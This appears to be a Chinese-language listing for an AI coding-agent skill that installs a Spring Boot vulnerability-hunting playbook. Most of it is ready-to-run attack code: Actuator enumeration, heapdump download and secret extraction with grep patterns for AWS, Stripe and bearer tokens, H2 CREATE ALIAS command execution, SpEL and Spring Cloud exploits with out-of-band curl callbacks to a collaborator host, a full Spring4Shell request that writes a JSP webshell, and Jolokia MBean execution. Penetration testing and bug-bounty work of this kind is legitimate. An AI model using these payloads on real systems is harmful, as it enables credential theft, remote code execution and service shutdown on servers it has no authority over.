mcpField
H
hunt-springboot

hunt-springboot

github.com/elementalsouls安全5.3k248 次安装今天更新
代码仓库

关于 hunt-springboot

面向 Spring Boot 安全测试人员的漏洞排查技能,涵盖 Actuator、H2 Console、SpEL 和 Spring4Shell 等攻击面,并强调验证结果以识别真实问题。

主要功能

  1. 01识别 Spring Boot 与 Actuator 端点
  2. 02检查堆转储和环境变量泄露
  3. 03测试 H2 Console 与 SpEL 注入
  4. 04排查 Spring4Shell 和 Jolokia 暴露
  5. 05提供漏洞验证与影响判断

适用场景

  1. 01评估公开的 Actuator 端点是否泄露敏感信息
  2. 02测试 H2 Console 或表达式注入风险
  3. 03排查 Spring Boot 应用的已知漏洞路径

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-springboot

安装后在 Claude Code 中输入/hunt-springboot确认已加载。

详细介绍

HUNT-SPRINGBOOT —— Spring Boot 特定漏洞

皇冠明珠目标

Spring Boot Actuator 的 /actuator/heapdump 暴露时,可获取包含内存中所有机密信息的堆转储。

价值最高的发现:

  • /actuator/heapdump —— 完整的 JVM 堆转储包含存储在内存任意位置的明文密码、令牌、数据库凭据和私钥
  • /actuator/env —— 列出所有环境变量和 Spring 属性,包括机密信息
  • /actuator/shutdown —— POST → 关闭应用程序(对可用性造成严重影响)
  • H2 Console(/h2-console) —— 内存数据库管理界面 → 执行 SQL 查询 → 可能通过 CREATE ALIAS 技巧实现 RCE
  • SpEL 注入 —— 模板字段、@Value 注解、经 SpEL 处理的请求参数中的 Spring Expression Language → RCE
  • Spring4Shell CVE-2022-22965 —— Spring Framework < 5.3.18 + Tomcat → 通过数据绑定实现 RCE

第 1 阶段 —— 识别 Spring Boot

# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

第 2 阶段 —— 枚举 Actuator 端点

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[+] EXPOSED: $BASE/$EP"
  fi
done

# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

第 3 阶段 —— 分析堆转储

# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u   # Bearer tokens

# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/

第 4 阶段 —— H2 Console RCE

# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"

# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb

# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
#   Runtime rt = Runtime.getRuntime();
#   String[] commands = {"sh","-c",cmd};
#   Process proc = rt.exec(commands);
#   return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');

第 5 阶段 —— SpEL 注入

# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated

# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow

# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed

# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'

# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
  -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
  -d "test"

第 5b 阶段 —— Spring Cloud Gateway Actuator SpEL RCE(CVE-2022-22947)

如果 gateway Actuator 暴露,则添加一个筛选器主体为 SpEL 的路由,然后刷新以执行它(为 shell 转义内部引号):

curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
 -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"

第 5c 阶段 —— 可写 /env → /refresh Gadget RCE

当 /actuator/env 接受 POST 且 /actuator/refresh 存在时,污染一个属性,然后重新加载:

# logback JNDI:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
# Eureka XStream deserialization:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
curl -s -X POST "$BASE/actuator/refresh"

(Veracode:利用 Spring Boot Actuators。)

第 6 阶段 —— Spring4Shell(CVE-2022-22965)

# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment

# Detection: does the app accept class.* parameters?
curl -s "https://$TARGET/api/user" \
  -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback

# Exploitation: write webshell via class loader
curl -s "https://$TARGET/login" \
  --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

第 7 阶段 —— Jolokia JMX 暴露

# Jolokia provides HTTP access to JMX MBeans
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20

# List all MBeans
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30

# Read system properties via Jolokia (may expose credentials)
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
  python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"

# Exec MBean operations (potential RCE via MLet)
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"

攻击链表

Spring Boot 发现攻击链目标影响
/actuator/heapdump从内存中提取数据库密码、API 密钥严重凭据泄露
/actuator/env读取所有环境变量,包括机密信息高
H2 Console 可访问CREATE ALIAS → RCE严重
SpEL 注入T(Runtime).exec() → 操作系统命令严重 RCE
Spring4Shell写入 Webshell → RCE严重
Jolokia + MLet通过 MBean 执行远程代码严重 RCE

验证

✅ 堆转储:strings 命令可从 .hprof 文件中提取可读的密码/令牌
✅ Actuator/env:JSON 响应中可见机密信息
✅ SpEL:算术表达式可求值(7*7=49),或收到 OOB 回调
✅ H2 Console:SQL 已执行,返回了 id 输出

严重程度:

  • 含凭据的堆转储:严重
  • SpEL RCE:严重
  • H2 Console RCE:严重
  • Actuator env(密码暴露):高
  • 仅映射信息泄露:低至中等

评论

支持 Markdown